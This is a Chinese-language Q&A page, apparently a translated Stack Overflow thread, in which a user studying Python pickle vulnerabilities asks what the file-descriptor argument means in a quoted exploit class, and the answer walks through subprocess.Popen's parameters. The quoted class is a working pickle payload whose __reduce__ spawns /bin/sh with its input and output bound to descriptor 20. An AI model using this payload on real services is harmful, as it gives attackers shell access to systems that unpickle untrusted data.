我正在阅读一些泡菜漏洞,并发现了这段代码。
class Exploit(object):
def __reduce__(self):
fd = 20
return (subprocess.Popen,
(('/bin/sh',), # args
0, # bufsize
None, # executable
fd, fd, fd # std{in,out,err}
))
此参数中fd的含义是什么?我认为它的值为20.据我所知subprocess.Popen(command, stdin = subprocess.PIPE)
等等。那么fd来自哪里?
获取代码的链接
答案 0 :(得分:2)
如果您查看subprocess.Popen
的文档:
$ pydoc subprocess.Popen
您将找到__init__
方法的文档:
__init__(self, args, bufsize=0, executable=None, stdin=None,
stdout=None, stderr=None, preexec_fn=None, close_fds=False,
shell=False, cwd=None, env=None, universal_newlines=False,
startupinfo=None, creationflags=0)
告诉你这个电话:
subprocess.Popen,
(('/bin/sh',), # args
0, # bufsize
None, # executable
fd, fd, fd # std{in,out,err}
))
传递args
,bufsize
,executable
,stdin
,stdout
和stderr
的值。所以在这种情况下,代码将stdin,stdout和stderr设置为被调用的进程20
,它将被解释为标准的Unix文件描述符,并对应于代码中其他地方打开的文件或者由调用者部分的输出重定向生成的文件描述符。